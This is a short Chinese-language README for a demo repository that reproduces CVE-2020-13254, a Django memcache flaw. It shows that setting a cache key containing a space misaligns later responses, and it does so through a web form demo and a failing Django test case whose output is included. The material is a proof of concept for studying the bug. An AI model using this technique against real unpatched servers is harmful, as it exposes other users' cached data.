该仓库通过两种方式演示了 CVE-2020-13254 的利用——通过 Web 界面和通过失败的测试用例。
更多详情请访问:
https://danpalmer.me/2020-06-07-django-memcache-vulnerability/
示例提供了一个带有两个表单的 Web 界面,一个用于在缓存中设置值,另一个用于获取值。这些表单直接转换为对 Django 缓存后端的调用。由于代码库没有实现任何会话或认证系统,在同一浏览器标签页中的多次使用与在不同机器上使用多个用户是无法区分的。
要利用:
这个过程可以用测试用例表示如下:
from django.core.cache import cache
from django.test import TestCase
class CacheTests(TestCase):
def test_cache(self):
cache.set('k1', 'v1')
cache.set('k2', 'v2')
try:
cache.set('a b', 'v3')
except Exception:
pass
self.assertEqual(
[
cache.get(x) for x in
['k2', 'k1', 'k2', 'k1', 'k2', 'k1']
],
['v2', 'v1', 'v2', 'v1', 'v2', 'v1'],
)
这将失败并出现以下错误:
=============================================================
FAIL: test_cache (demo.tests.CacheTests)
-------------------------------------------------------------
Traceback (most recent call last):
File "tests.py", line 30, in test_cache
'v1',
AssertionError: Lists differ
First differing element 0:
None
'v2'
- [None, 'v2', 'v1', 'v2', 'v1', 'v2']
? ------
+ ['v2', 'v1', 'v2', 'v1', 'v2', 'v1']
? ++++++
-------------------------------------------------------------
在执行 set 之后,返回的缓存结果与正在执行的查询不匹配。